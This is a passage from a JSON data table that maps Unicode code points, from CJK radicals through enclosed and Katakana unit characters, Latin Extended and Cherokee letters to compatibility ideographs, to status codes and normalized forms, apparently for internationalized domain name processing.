十"],[12056,1,"卜"],[12057,1,"卩"],[12058,1,"厂"],[12059,1,"厶"],[12060,1,"又"],[12061,1,"口"],[12062,1,"囗"],[12063,1,"土"],[12064,1,"士"],[12065,1,"夂"],[12066,1,"夊"],[12067,1,"夕"],[12068,1,"大"],[12069,1,"女"],[12070,1,"子"],[12071,1,"宀"],[12072,1,"寸"],[12073,1,"小"],[12074,1,"尢"],[12075,1,"尸"],[12076,1,"屮"],[12077,1,"山"],[12078,1,"巛"],[12079,1,"工"],[12080,1,"己"],[12081,1,"巾"],[12082,1,"干"],[12083,1,"幺"],[12084,1,"广"],[12085,1,"廴"],[12086,1,"廾"],[12087,1,"弋"],[12088,1,"弓"],[12089,1,"彐"],[12090,1,"彡"],[12091,1,"彳"],[12092,1,"心"],[12093,1,"戈"],[12094,1,"戶"],[12095,1,"手"],[12096,1,"支"],[12097,1,"攴"],[12098,1,"文"],[12099,1,"斗"],[12100,1,"斤"],[12101,1,"方"],[12102,1,"无"],[12103,1,"日"],[12104,1,"曰"],[12105,1,"月"],[12106,1,"木"],[12107,1,"欠"],[12108,1,"止"],[12109,1,"歹"],[12110,1,"殳"],[12111,1,"毋"],[12112,1,"比"],[12113,1,"毛"],[12114,1,"氏"],[12115,1,"气"],[12116,1,"水"],[12117,1,"火"],[12118,1,"爪"],[12119,1,"父"],[12120,1,"爻"],[12121,1,"爿"],[12122,1,"片"],[12123,1,"牙"],[12124,1,"牛"],[12125,1,"犬"],[12126,1,"玄"],[12127,1,"玉"],[12128,1,"瓜"],[12129,1,"瓦"],[12130,1,"甘"],[12131,1,"生"],[12132,1,"用"],[12133,1,"田"],[12134,1,"疋"],[12135,1,"疒"],[12136,1,"癶"],[12137,1,"白"],[12138,1,"皮"],[12139,1,"皿"],[12140,1,"目"],[12141,1,"矛"],[12142,1,"矢"],[12143,1,"石"],[12144,1,"示"],[12145,1,"禸"],[12146,1,"禾"],[12147,1,"穴"],[12148,1,"立"],[12149,1,"竹"],[12150,1,"米"],[12151,1,"糸"],[12152,1,"缶"],[12153,1,"网"],[12154,1,"羊"],[12155,1,"羽"],[12156,1,"老"],[12157,1,"而"],[12158,1,"耒"],[12159,1,"耳"],[12160,1,"聿"],[12161,1,"肉"],[12162,1,"臣"],[12163,1,"自"],[12164,1,"至"],[12165,1,"臼"],[12166,1,"舌"],[12167,1,"舛"],[12168,1,"舟"],[12169,1,"艮"],[12170,1,"色"],[12171,1,"艸"],[12172,1,"虍"],[12173,1,"虫"],[12174,1,"血"],[12175,1,"行"],[12176,1,"衣"],[12177,1,"襾"],[12178,1,"見"],[12179,1,"角"],[12180,1,"言"],[12181,1,"谷"],[12182,1,"豆"],[12183,1,"豕"],[12184,1,"豸"],[12185,1,"貝"],[12186,1,"赤"],[12187,1,"走"],[12188,1,"足"],[12189,1,"身"],[12190,1,"車"],[12191,1,"辛"],[12192,1,"辰"],[12193,1,"辵"],[12194,1,"邑"],[12195,1,"酉"],[12196,1,"釆"],[12197,1,"里"],[12198,1,"金"],[12199,1,"長"],[12200,1,"門"],[12201,1,"阜"],[12202,1,"隶"],[12203,1,"隹"],[12204,1,"雨"],[12205,1,"靑"],[12206,1,"非"],[12207,1,"面"],[12208,1,"革"],[12209,1,"韋"],[12210,1,"韭"],[12211,1,"音"],[12212,1,"頁"],[12213,1,"風"],[12214,1,"飛"],[12215,1,"食"],[12216,1,"首"],[12217,1,"香"],[12218,1,"馬"],[12219,1,"骨"],[12220,1,"高"],[12221,1,"髟"],[12222,1,"鬥"],[12223,1,"鬯"],[12224,1,"鬲"],[12225,1,"鬼"],[12226,1,"魚"],[12227,1,"鳥"],[12228,1,"鹵"],[12229,1,"鹿"],[12230,1,"麥"],[12231,1,"麻"],[12232,1,"黃"],[12233,1,"黍"],[12234,1,"黑"],[12235,1,"黹"],[12236,1,"黽"],[12237,1,"鼎"],[12238,1,"鼓"],[12239,1,"鼠"],[12240,1,"鼻"],[12241,1,"齊"],[12242,1,"齒"],[12243,1,"龍"],[12244,1,"龜"],[12245,1,"龠"],[[12246,12271],3],[[12272,12283],3],[[12284,12287],3],[12288,5," "],[12289,2],[12290,1,"."],[[12291,12292],2],[[12293,12295],2],[[12296,12329],2],[[12330,12333],2],[[12334,12341],2],[12342,1,"〒"],[12343,2],[12344,1,"十"],[12345,1,"卄"],[12346,1,"卅"],[12347,2],[12348,2],[12349,2],[12350,2],[12351,2],[12352,3],[[12353,12436],2],[[12437,12438],2],[[12439,12440],3],[[12441,12442],2],[12443,5," ゙"],[12444,5," ゚"],[[12445,12446],2],[12447,1,"より"],[12448,2],[[12449,12542],2],[12543,1,"コト"],[[12544,12548],3],[[12549,12588],2],[12589,2],[12590,2],[12591,2],[12592,3],[12593,1,"ᄀ"],[12594,1,"ᄁ"],[12595,1,"ᆪ"],[12596,1,"ᄂ"],[12597,1,"ᆬ"],[12598,1,"ᆭ"],[12599,1,"ᄃ"],[12600,1,"ᄄ"],[12601,1,"ᄅ"],[12602,1,"ᆰ"],[12603,1,"ᆱ"],[12604,1,"ᆲ"],[12605,1,"ᆳ"],[12606,1,"ᆴ"],[12607,1,"ᆵ"],[12608,1,"ᄚ"],[12609,1,"ᄆ"],[12610,1,"ᄇ"],[12611,1,"ᄈ"],[12612,1,"ᄡ"],[12613,1,"ᄉ"],[12614,1,"ᄊ"],[12615,1,"ᄋ"],[12616,1,"ᄌ"],[12617,1,"ᄍ"],[12618,1,"ᄎ"],[12619,1,"ᄏ"],[12620,1,"ᄐ"],[12621,1,"ᄑ"],[12622,1,"ᄒ"],[12623,1,"ᅡ"],[12624,1,"ᅢ"],[12625,1,"ᅣ"],[12626,1,"ᅤ"],[12627,1,"ᅥ"],[12628,1,"ᅦ"],[12629,1,"ᅧ"],[12630,1,"ᅨ"],[12631,1,"ᅩ"],[12632,1,"ᅪ"],[12633,1,"ᅫ"],[12634,1,"ᅬ"],[12635,1,"ᅭ"],[12636,1,"ᅮ"],[12637,1,"ᅯ"],[12638,1,"ᅰ"],[12639,1,"ᅱ"],[12640,1,"ᅲ"],[12641,1,"ᅳ"],[12642,1,"ᅴ"],[12643,1,"ᅵ"],[12644,3],[12645,1,"ᄔ"],[12646,1,"ᄕ"],[12647,1,"ᇇ"],[12648,1,"ᇈ"],[12649,1,"ᇌ"],[12650,1,"ᇎ"],[12651,1,"ᇓ"],[12652,1,"ᇗ"],[12653,1,"ᇙ"],[12654,1,"ᄜ"],[12655,1,"ᇝ"],[12656,1,"ᇟ"],[12657,1,"ᄝ"],[12658,1,"ᄞ"],[12659,1,"ᄠ"],[12660,1,"ᄢ"],[12661,1,"ᄣ"],[12662,1,"ᄧ"],[12663,1,"ᄩ"],[12664,1,"ᄫ"],[12665,1,"ᄬ"],[12666,1,"ᄭ"],[12667,1,"ᄮ"],[12668,1,"ᄯ"],[12669,1,"ᄲ"],[12670,1,"ᄶ"],[12671,1,"ᅀ"],[12672,1,"ᅇ"],[12673,1,"ᅌ"],[12674,1,"ᇱ"],[12675,1,"ᇲ"],[12676,1,"ᅗ"],[12677,1,"ᅘ"],[12678,1,"ᅙ"],[12679,1,"ᆄ"],[12680,1,"ᆅ"],[12681,1,"ᆈ"],[12682,1,"ᆑ"],[12683,1,"ᆒ"],[12684,1,"ᆔ"],[12685,1,"ᆞ"],[12686,1,"ᆡ"],[12687,3],[[12688,12689],2],[12690,1,"一"],[12691,1,"二"],[12692,1,"三"],[12693,1,"四"],[12694,1,"上"],[12695,1,"中"],[12696,1,"下"],[12697,1,"甲"],[12698,1,"乙"],[12699,1,"丙"],[12700,1,"丁"],[12701,1,"天"],[12702,1,"地"],[12703,1,"人"],[[12704,12727],2],[[12728,12730],2],[[12731,12735],2],[[12736,12751],2],[[12752,12771],2],[[12772,12783],3],[[12784,12799],2],[12800,5,"(ᄀ)"],[12801,5,"(ᄂ)"],[12802,5,"(ᄃ)"],[12803,5,"(ᄅ)"],[12804,5,"(ᄆ)"],[12805,5,"(ᄇ)"],[12806,5,"(ᄉ)"],[12807,5,"(ᄋ)"],[12808,5,"(ᄌ)"],[12809,5,"(ᄎ)"],[12810,5,"(ᄏ)"],[12811,5,"(ᄐ)"],[12812,5,"(ᄑ)"],[12813,5,"(ᄒ)"],[12814,5,"(가)"],[12815,5,"(나)"],[12816,5,"(다)"],[12817,5,"(라)"],[12818,5,"(마)"],[12819,5,"(바)"],[12820,5,"(사)"],[12821,5,"(아)"],[12822,5,"(자)"],[12823,5,"(차)"],[12824,5,"(카)"],[12825,5,"(타)"],[12826,5,"(파)"],[12827,5,"(하)"],[12828,5,"(주)"],[12829,5,"(오전)"],[12830,5,"(오후)"],[12831,3],[12832,5,"(一)"],[12833,5,"(二)"],[12834,5,"(三)"],[12835,5,"(四)"],[12836,5,"(五)"],[12837,5,"(六)"],[12838,5,"(七)"],[12839,5,"(八)"],[12840,5,"(九)"],[12841,5,"(十)"],[12842,5,"(月)"],[12843,5,"(火)"],[12844,5,"(水)"],[12845,5,"(木)"],[12846,5,"(金)"],[12847,5,"(土)"],[12848,5,"(日)"],[12849,5,"(株)"],[12850,5,"(有)"],[12851,5,"(社)"],[12852,5,"(名)"],[12853,5,"(特)"],[12854,5,"(財)"],[12855,5,"(祝)"],[12856,5,"(労)"],[12857,5,"(代)"],[12858,5,"(呼)"],[12859,5,"(学)"],[12860,5,"(監)"],[12861,5,"(企)"],[12862,5,"(資)"],[12863,5,"(協)"],[12864,5,"(祭)"],[12865,5,"(休)"],[12866,5,"(自)"],[12867,5,"(至)"],[12868,1,"問"],[12869,1,"幼"],[12870,1,"文"],[12871,1,"箏"],[[12872,12879],2],[12880,1,"pte"],[12881,1,"21"],[12882,1,"22"],[12883,1,"23"],[12884,1,"24"],[12885,1,"25"],[12886,1,"26"],[12887,1,"27"],[12888,1,"28"],[12889,1,"29"],[12890,1,"30"],[12891,1,"31"],[12892,1,"32"],[12893,1,"33"],[12894,1,"34"],[12895,1,"35"],[12896,1,"ᄀ"],[12897,1,"ᄂ"],[12898,1,"ᄃ"],[12899,1,"ᄅ"],[12900,1,"ᄆ"],[12901,1,"ᄇ"],[12902,1,"ᄉ"],[12903,1,"ᄋ"],[12904,1,"ᄌ"],[12905,1,"ᄎ"],[12906,1,"ᄏ"],[12907,1,"ᄐ"],[12908,1,"ᄑ"],[12909,1,"ᄒ"],[12910,1,"가"],[12911,1,"나"],[12912,1,"다"],[12913,1,"라"],[12914,1,"마"],[12915,1,"바"],[12916,1,"사"],[12917,1,"아"],[12918,1,"자"],[12919,1,"차"],[12920,1,"카"],[12921,1,"타"],[12922,1,"파"],[12923,1,"하"],[12924,1,"참고"],[12925,1,"주의"],[12926,1,"우"],[12927,2],[12928,1,"一"],[12929,1,"二"],[12930,1,"三"],[12931,1,"四"],[12932,1,"五"],[12933,1,"六"],[12934,1,"七"],[12935,1,"八"],[12936,1,"九"],[12937,1,"十"],[12938,1,"月"],[12939,1,"火"],[12940,1,"水"],[12941,1,"木"],[12942,1,"金"],[12943,1,"土"],[12944,1,"日"],[12945,1,"株"],[12946,1,"有"],[12947,1,"社"],[12948,1,"名"],[12949,1,"特"],[12950,1,"財"],[12951,1,"祝"],[12952,1,"労"],[12953,1,"秘"],[12954,1,"男"],[12955,1,"女"],[12956,1,"適"],[12957,1,"優"],[12958,1,"印"],[12959,1,"注"],[12960,1,"項"],[12961,1,"休"],[12962,1,"写"],[12963,1,"正"],[12964,1,"上"],[12965,1,"中"],[12966,1,"下"],[12967,1,"左"],[12968,1,"右"],[12969,1,"医"],[12970,1,"宗"],[12971,1,"学"],[12972,1,"監"],[12973,1,"企"],[12974,1,"資"],[12975,1,"協"],[12976,1,"夜"],[12977,1,"36"],[12978,1,"37"],[12979,1,"38"],[12980,1,"39"],[12981,1,"40"],[12982,1,"41"],[12983,1,"42"],[12984,1,"43"],[12985,1,"44"],[12986,1,"45"],[12987,1,"46"],[12988,1,"47"],[12989,1,"48"],[12990,1,"49"],[12991,1,"50"],[12992,1,"1月"],[12993,1,"2月"],[12994,1,"3月"],[12995,1,"4月"],[12996,1,"5月"],[12997,1,"6月"],[12998,1,"7月"],[12999,1,"8月"],[13000,1,"9月"],[13001,1,"10月"],[13002,1,"11月"],[13003,1,"12月"],[13004,1,"hg"],[13005,1,"erg"],[13006,1,"ev"],[13007,1,"ltd"],[13008,1,"ア"],[13009,1,"イ"],[13010,1,"ウ"],[13011,1,"エ"],[13012,1,"オ"],[13013,1,"カ"],[13014,1,"キ"],[13015,1,"ク"],[13016,1,"ケ"],[13017,1,"コ"],[13018,1,"サ"],[13019,1,"シ"],[13020,1,"ス"],[13021,1,"セ"],[13022,1,"ソ"],[13023,1,"タ"],[13024,1,"チ"],[13025,1,"ツ"],[13026,1,"テ"],[13027,1,"ト"],[13028,1,"ナ"],[13029,1,"ニ"],[13030,1,"ヌ"],[13031,1,"ネ"],[13032,1,"ノ"],[13033,1,"ハ"],[13034,1,"ヒ"],[13035,1,"フ"],[13036,1,"ヘ"],[13037,1,"ホ"],[13038,1,"マ"],[13039,1,"ミ"],[13040,1,"ム"],[13041,1,"メ"],[13042,1,"モ"],[13043,1,"ヤ"],[13044,1,"ユ"],[13045,1,"ヨ"],[13046,1,"ラ"],[13047,1,"リ"],[13048,1,"ル"],[13049,1,"レ"],[13050,1,"ロ"],[13051,1,"ワ"],[13052,1,"ヰ"],[13053,1,"ヱ"],[13054,1,"ヲ"],[13055,1,"令和"],[13056,1,"アパート"],[13057,1,"アルファ"],[13058,1,"アンペア"],[13059,1,"アール"],[13060,1,"イニング"],[13061,1,"インチ"],[13062,1,"ウォン"],[13063,1,"エスクード"],[13064,1,"エーカー"],[13065,1,"オンス"],[13066,1,"オーム"],[13067,1,"カイリ"],[13068,1,"カラット"],[13069,1,"カロリー"],[13070,1,"ガロン"],[13071,1,"ガンマ"],[13072,1,"ギガ"],[13073,1,"ギニー"],[13074,1,"キュリー"],[13075,1,"ギルダー"],[13076,1,"キロ"],[13077,1,"キログラム"],[13078,1,"キロメートル"],[13079,1,"キロワット"],[13080,1,"グラム"],[13081,1,"グラムトン"],[13082,1,"クルゼイロ"],[13083,1,"クローネ"],[13084,1,"ケース"],[13085,1,"コルナ"],[13086,1,"コーポ"],[13087,1,"サイクル"],[13088,1,"サンチーム"],[13089,1,"シリング"],[13090,1,"センチ"],[13091,1,"セント"],[13092,1,"ダース"],[13093,1,"デシ"],[13094,1,"ドル"],[13095,1,"トン"],[13096,1,"ナノ"],[13097,1,"ノット"],[13098,1,"ハイツ"],[13099,1,"パーセント"],[13100,1,"パーツ"],[13101,1,"バーレル"],[13102,1,"ピアストル"],[13103,1,"ピクル"],[13104,1,"ピコ"],[13105,1,"ビル"],[13106,1,"ファラッド"],[13107,1,"フィート"],[13108,1,"ブッシェル"],[13109,1,"フラン"],[13110,1,"ヘクタール"],[13111,1,"ペソ"],[13112,1,"ペニヒ"],[13113,1,"ヘルツ"],[13114,1,"ペンス"],[13115,1,"ページ"],[13116,1,"ベータ"],[13117,1,"ポイント"],[13118,1,"ボルト"],[13119,1,"ホン"],[13120,1,"ポンド"],[13121,1,"ホール"],[13122,1,"ホーン"],[13123,1,"マイクロ"],[13124,1,"マイル"],[13125,1,"マッハ"],[13126,1,"マルク"],[13127,1,"マンション"],[13128,1,"ミクロン"],[13129,1,"ミリ"],[13130,1,"ミリバール"],[13131,1,"メガ"],[13132,1,"メガトン"],[13133,1,"メートル"],[13134,1,"ヤード"],[13135,1,"ヤール"],[13136,1,"ユアン"],[13137,1,"リットル"],[13138,1,"リラ"],[13139,1,"ルピー"],[13140,1,"ルーブル"],[13141,1,"レム"],[13142,1,"レントゲン"],[13143,1,"ワット"],[13144,1,"0点"],[13145,1,"1点"],[13146,1,"2点"],[13147,1,"3点"],[13148,1,"4点"],[13149,1,"5点"],[13150,1,"6点"],[13151,1,"7点"],[13152,1,"8点"],[13153,1,"9点"],[13154,1,"10点"],[13155,1,"11点"],[13156,1,"12点"],[13157,1,"13点"],[13158,1,"14点"],[13159,1,"15点"],[13160,1,"16点"],[13161,1,"17点"],[13162,1,"18点"],[13163,1,"19点"],[13164,1,"20点"],[13165,1,"21点"],[13166,1,"22点"],[13167,1,"23点"],[13168,1,"24点"],[13169,1,"hpa"],[13170,1,"da"],[13171,1,"au"],[13172,1,"bar"],[13173,1,"ov"],[13174,1,"pc"],[13175,1,"dm"],[13176,1,"dm2"],[13177,1,"dm3"],[13178,1,"iu"],[13179,1,"平成"],[13180,1,"昭和"],[13181,1,"大正"],[13182,1,"明治"],[13183,1,"株式会社"],[13184,1,"pa"],[13185,1,"na"],[13186,1,"μa"],[13187,1,"ma"],[13188,1,"ka"],[13189,1,"kb"],[13190,1,"mb"],[13191,1,"gb"],[13192,1,"cal"],[13193,1,"kcal"],[13194,1,"pf"],[13195,1,"nf"],[13196,1,"μf"],[13197,1,"μg"],[13198,1,"mg"],[13199,1,"kg"],[13200,1,"hz"],[13201,1,"khz"],[13202,1,"mhz"],[13203,1,"ghz"],[13204,1,"thz"],[13205,1,"μl"],[13206,1,"ml"],[13207,1,"dl"],[13208,1,"kl"],[13209,1,"fm"],[13210,1,"nm"],[13211,1,"μm"],[13212,1,"mm"],[13213,1,"cm"],[13214,1,"km"],[13215,1,"mm2"],[13216,1,"cm2"],[13217,1,"m2"],[13218,1,"km2"],[13219,1,"mm3"],[13220,1,"cm3"],[13221,1,"m3"],[13222,1,"km3"],[13223,1,"m∕s"],[13224,1,"m∕s2"],[13225,1,"pa"],[13226,1,"kpa"],[13227,1,"mpa"],[13228,1,"gpa"],[13229,1,"rad"],[13230,1,"rad∕s"],[13231,1,"rad∕s2"],[13232,1,"ps"],[13233,1,"ns"],[13234,1,"μs"],[13235,1,"ms"],[13236,1,"pv"],[13237,1,"nv"],[13238,1,"μv"],[13239,1,"mv"],[13240,1,"kv"],[13241,1,"mv"],[13242,1,"pw"],[13243,1,"nw"],[13244,1,"μw"],[13245,1,"mw"],[13246,1,"kw"],[13247,1,"mw"],[13248,1,"kω"],[13249,1,"mω"],[13250,3],[13251,1,"bq"],[13252,1,"cc"],[13253,1,"cd"],[13254,1,"c∕kg"],[13255,3],[13256,1,"db"],[13257,1,"gy"],[13258,1,"ha"],[13259,1,"hp"],[13260,1,"in"],[13261,1,"kk"],[13262,1,"km"],[13263,1,"kt"],[13264,1,"lm"],[13265,1,"ln"],[13266,1,"log"],[13267,1,"lx"],[13268,1,"mb"],[13269,1,"mil"],[13270,1,"mol"],[13271,1,"ph"],[13272,3],[13273,1,"ppm"],[13274,1,"pr"],[13275,1,"sr"],[13276,1,"sv"],[13277,1,"wb"],[13278,1,"v∕m"],[13279,1,"a∕m"],[13280,1,"1日"],[13281,1,"2日"],[13282,1,"3日"],[13283,1,"4日"],[13284,1,"5日"],[13285,1,"6日"],[13286,1,"7日"],[13287,1,"8日"],[13288,1,"9日"],[13289,1,"10日"],[13290,1,"11日"],[13291,1,"12日"],[13292,1,"13日"],[13293,1,"14日"],[13294,1,"15日"],[13295,1,"16日"],[13296,1,"17日"],[13297,1,"18日"],[13298,1,"19日"],[13299,1,"20日"],[13300,1,"21日"],[13301,1,"22日"],[13302,1,"23日"],[13303,1,"24日"],[13304,1,"25日"],[13305,1,"26日"],[13306,1,"27日"],[13307,1,"28日"],[13308,1,"29日"],[13309,1,"30日"],[13310,1,"31日"],[13311,1,"gal"],[[13312,19893],2],[[19894,19903],2],[[19904,19967],2],[[19968,40869],2],[[40870,40891],2],[[40892,40899],2],[[40900,40907],2],[40908,2],[[40909,40917],2],[[40918,40938],2],[[40939,40943],2],[[40944,40956],2],[[40957,40959],2],[[40960,42124],2],[[42125,42127],3],[[42128,42145],2],[[42146,42147],2],[[42148,42163],2],[42164,2],[[42165,42176],2],[42177,2],[[42178,42180],2],[42181,2],[42182,2],[[42183,42191],3],[[42192,42237],2],[[42238,42239],2],[[42240,42508],2],[[42509,42511],2],[[42512,42539],2],[[42540,42559],3],[42560,1,"ꙁ"],[42561,2],[42562,1,"ꙃ"],[42563,2],[42564,1,"ꙅ"],[42565,2],[42566,1,"ꙇ"],[42567,2],[42568,1,"ꙉ"],[42569,2],[42570,1,"ꙋ"],[42571,2],[42572,1,"ꙍ"],[42573,2],[42574,1,"ꙏ"],[42575,2],[42576,1,"ꙑ"],[42577,2],[42578,1,"ꙓ"],[42579,2],[42580,1,"ꙕ"],[42581,2],[42582,1,"ꙗ"],[42583,2],[42584,1,"ꙙ"],[42585,2],[42586,1,"ꙛ"],[42587,2],[42588,1,"ꙝ"],[42589,2],[42590,1,"ꙟ"],[42591,2],[42592,1,"ꙡ"],[42593,2],[42594,1,"ꙣ"],[42595,2],[42596,1,"ꙥ"],[42597,2],[42598,1,"ꙧ"],[42599,2],[42600,1,"ꙩ"],[42601,2],[42602,1,"ꙫ"],[42603,2],[42604,1,"ꙭ"],[[42605,42607],2],[[42608,42611],2],[[42612,42619],2],[[42620,42621],2],[42622,2],[42623,2],[42624,1,"ꚁ"],[42625,2],[42626,1,"ꚃ"],[42627,2],[42628,1,"ꚅ"],[42629,2],[42630,1,"ꚇ"],[42631,2],[42632,1,"ꚉ"],[42633,2],[42634,1,"ꚋ"],[42635,2],[42636,1,"ꚍ"],[42637,2],[42638,1,"ꚏ"],[42639,2],[42640,1,"ꚑ"],[42641,2],[42642,1,"ꚓ"],[42643,2],[42644,1,"ꚕ"],[42645,2],[42646,1,"ꚗ"],[42647,2],[42648,1,"ꚙ"],[42649,2],[42650,1,"ꚛ"],[42651,2],[42652,1,"ъ"],[42653,1,"ь"],[42654,2],[42655,2],[[42656,42725],2],[[42726,42735],2],[[42736,42737],2],[[42738,42743],2],[[42744,42751],3],[[42752,42774],2],[[42775,42778],2],[[42779,42783],2],[[42784,42785],2],[42786,1,"ꜣ"],[42787,2],[42788,1,"ꜥ"],[42789,2],[42790,1,"ꜧ"],[42791,2],[42792,1,"ꜩ"],[42793,2],[42794,1,"ꜫ"],[42795,2],[42796,1,"ꜭ"],[42797,2],[42798,1,"ꜯ"],[[42799,42801],2],[42802,1,"ꜳ"],[42803,2],[42804,1,"ꜵ"],[42805,2],[42806,1,"ꜷ"],[42807,2],[42808,1,"ꜹ"],[42809,2],[42810,1,"ꜻ"],[42811,2],[42812,1,"ꜽ"],[42813,2],[42814,1,"ꜿ"],[42815,2],[42816,1,"ꝁ"],[42817,2],[42818,1,"ꝃ"],[42819,2],[42820,1,"ꝅ"],[42821,2],[42822,1,"ꝇ"],[42823,2],[42824,1,"ꝉ"],[42825,2],[42826,1,"ꝋ"],[42827,2],[42828,1,"ꝍ"],[42829,2],[42830,1,"ꝏ"],[42831,2],[42832,1,"ꝑ"],[42833,2],[42834,1,"ꝓ"],[42835,2],[42836,1,"ꝕ"],[42837,2],[42838,1,"ꝗ"],[42839,2],[42840,1,"ꝙ"],[42841,2],[42842,1,"ꝛ"],[42843,2],[42844,1,"ꝝ"],[42845,2],[42846,1,"ꝟ"],[42847,2],[42848,1,"ꝡ"],[42849,2],[42850,1,"ꝣ"],[42851,2],[42852,1,"ꝥ"],[42853,2],[42854,1,"ꝧ"],[42855,2],[42856,1,"ꝩ"],[42857,2],[42858,1,"ꝫ"],[42859,2],[42860,1,"ꝭ"],[42861,2],[42862,1,"ꝯ"],[42863,2],[42864,1,"ꝯ"],[[42865,42872],2],[42873,1,"ꝺ"],[42874,2],[42875,1,"ꝼ"],[42876,2],[42877,1,"ᵹ"],[42878,1,"ꝿ"],[42879,2],[42880,1,"ꞁ"],[42881,2],[42882,1,"ꞃ"],[42883,2],[42884,1,"ꞅ"],[42885,2],[42886,1,"ꞇ"],[[42887,42888],2],[[42889,42890],2],[42891,1,"ꞌ"],[42892,2],[42893,1,"ɥ"],[42894,2],[42895,2],[42896,1,"ꞑ"],[42897,2],[42898,1,"ꞓ"],[42899,2],[[42900,42901],2],[42902,1,"ꞗ"],[42903,2],[42904,1,"ꞙ"],[42905,2],[42906,1,"ꞛ"],[42907,2],[42908,1,"ꞝ"],[42909,2],[42910,1,"ꞟ"],[42911,2],[42912,1,"ꞡ"],[42913,2],[42914,1,"ꞣ"],[42915,2],[42916,1,"ꞥ"],[42917,2],[42918,1,"ꞧ"],[42919,2],[42920,1,"ꞩ"],[42921,2],[42922,1,"ɦ"],[42923,1,"ɜ"],[42924,1,"ɡ"],[42925,1,"ɬ"],[42926,1,"ɪ"],[42927,2],[42928,1,"ʞ"],[42929,1,"ʇ"],[42930,1,"ʝ"],[42931,1,"ꭓ"],[42932,1,"ꞵ"],[42933,2],[42934,1,"ꞷ"],[42935,2],[42936,1,"ꞹ"],[42937,2],[42938,1,"ꞻ"],[42939,2],[42940,1,"ꞽ"],[42941,2],[42942,1,"ꞿ"],[42943,2],[42944,1,"ꟁ"],[42945,2],[42946,1,"ꟃ"],[42947,2],[42948,1,"ꞔ"],[42949,1,"ʂ"],[42950,1,"ᶎ"],[42951,1,"ꟈ"],[42952,2],[42953,1,"ꟊ"],[42954,2],[[42955,42959],3],[42960,1,"ꟑ"],[42961,2],[42962,3],[42963,2],[42964,3],[42965,2],[42966,1,"ꟗ"],[42967,2],[42968,1,"ꟙ"],[42969,2],[[42970,42993],3],[42994,1,"c"],[42995,1,"f"],[42996,1,"q"],[42997,1,"ꟶ"],[42998,2],[42999,2],[43000,1,"ħ"],[43001,1,"œ"],[43002,2],[[43003,43007],2],[[43008,43047],2],[[43048,43051],2],[43052,2],[[43053,43055],3],[[43056,43065],2],[[43066,43071],3],[[43072,43123],2],[[43124,43127],2],[[43128,43135],3],[[43136,43204],2],[43205,2],[[43206,43213],3],[[43214,43215],2],[[43216,43225],2],[[43226,43231],3],[[43232,43255],2],[[43256,43258],2],[43259,2],[43260,2],[43261,2],[[43262,43263],2],[[43264,43309],2],[[43310,43311],2],[[43312,43347],2],[[43348,43358],3],[43359,2],[[43360,43388],2],[[43389,43391],3],[[43392,43456],2],[[43457,43469],2],[43470,3],[[43471,43481],2],[[43482,43485],3],[[43486,43487],2],[[43488,43518],2],[43519,3],[[43520,43574],2],[[43575,43583],3],[[43584,43597],2],[[43598,43599],3],[[43600,43609],2],[[43610,43611],3],[[43612,43615],2],[[43616,43638],2],[[43639,43641],2],[[43642,43643],2],[[43644,43647],2],[[43648,43714],2],[[43715,43738],3],[[43739,43741],2],[[43742,43743],2],[[43744,43759],2],[[43760,43761],2],[[43762,43766],2],[[43767,43776],3],[[43777,43782],2],[[43783,43784],3],[[43785,43790],2],[[43791,43792],3],[[43793,43798],2],[[43799,43807],3],[[43808,43814],2],[43815,3],[[43816,43822],2],[43823,3],[[43824,43866],2],[43867,2],[43868,1,"ꜧ"],[43869,1,"ꬷ"],[43870,1,"ɫ"],[43871,1,"ꭒ"],[[43872,43875],2],[[43876,43877],2],[[43878,43879],2],[43880,2],[43881,1,"ʍ"],[[43882,43883],2],[[43884,43887],3],[43888,1,"Ꭰ"],[43889,1,"Ꭱ"],[43890,1,"Ꭲ"],[43891,1,"Ꭳ"],[43892,1,"Ꭴ"],[43893,1,"Ꭵ"],[43894,1,"Ꭶ"],[43895,1,"Ꭷ"],[43896,1,"Ꭸ"],[43897,1,"Ꭹ"],[43898,1,"Ꭺ"],[43899,1,"Ꭻ"],[43900,1,"Ꭼ"],[43901,1,"Ꭽ"],[43902,1,"Ꭾ"],[43903,1,"Ꭿ"],[43904,1,"Ꮀ"],[43905,1,"Ꮁ"],[43906,1,"Ꮂ"],[43907,1,"Ꮃ"],[43908,1,"Ꮄ"],[43909,1,"Ꮅ"],[43910,1,"Ꮆ"],[43911,1,"Ꮇ"],[43912,1,"Ꮈ"],[43913,1,"Ꮉ"],[43914,1,"Ꮊ"],[43915,1,"Ꮋ"],[43916,1,"Ꮌ"],[43917,1,"Ꮍ"],[43918,1,"Ꮎ"],[43919,1,"Ꮏ"],[43920,1,"Ꮐ"],[43921,1,"Ꮑ"],[43922,1,"Ꮒ"],[43923,1,"Ꮓ"],[43924,1,"Ꮔ"],[43925,1,"Ꮕ"],[43926,1,"Ꮖ"],[43927,1,"Ꮗ"],[43928,1,"Ꮘ"],[43929,1,"Ꮙ"],[43930,1,"Ꮚ"],[43931,1,"Ꮛ"],[43932,1,"Ꮜ"],[43933,1,"Ꮝ"],[43934,1,"Ꮞ"],[43935,1,"Ꮟ"],[43936,1,"Ꮠ"],[43937,1,"Ꮡ"],[43938,1,"Ꮢ"],[43939,1,"Ꮣ"],[43940,1,"Ꮤ"],[43941,1,"Ꮥ"],[43942,1,"Ꮦ"],[43943,1,"Ꮧ"],[43944,1,"Ꮨ"],[43945,1,"Ꮩ"],[43946,1,"Ꮪ"],[43947,1,"Ꮫ"],[43948,1,"Ꮬ"],[43949,1,"Ꮭ"],[43950,1,"Ꮮ"],[43951,1,"Ꮯ"],[43952,1,"Ꮰ"],[43953,1,"Ꮱ"],[43954,1,"Ꮲ"],[43955,1,"Ꮳ"],[43956,1,"Ꮴ"],[43957,1,"Ꮵ"],[43958,1,"Ꮶ"],[43959,1,"Ꮷ"],[43960,1,"Ꮸ"],[43961,1,"Ꮹ"],[43962,1,"Ꮺ"],[43963,1,"Ꮻ"],[43964,1,"Ꮼ"],[43965,1,"Ꮽ"],[43966,1,"Ꮾ"],[43967,1,"Ꮿ"],[[43968,44010],2],[44011,2],[[44012,44013],2],[[44014,44015],3],[[44016,44025],2],[[44026,44031],3],[[44032,55203],2],[[55204,55215],3],[[55216,55238],2],[[55239,55242],3],[[55243,55291],2],[[55292,55295],3],[[55296,57343],3],[[57344,63743],3],[63744,1,"豈"],[63745,1,"更"],[63746,1,"車"],[63747,1,"賈"],[63748,1,"滑"],[63749,1,"串"],[63750,1,"句"],[[63751,63752],1,"龜"],[63753,1,"契"],[63754,1,"金"],[63755,1,"喇"],[63756,1,"奈"],[63757,1,"懶"],[63758,1,"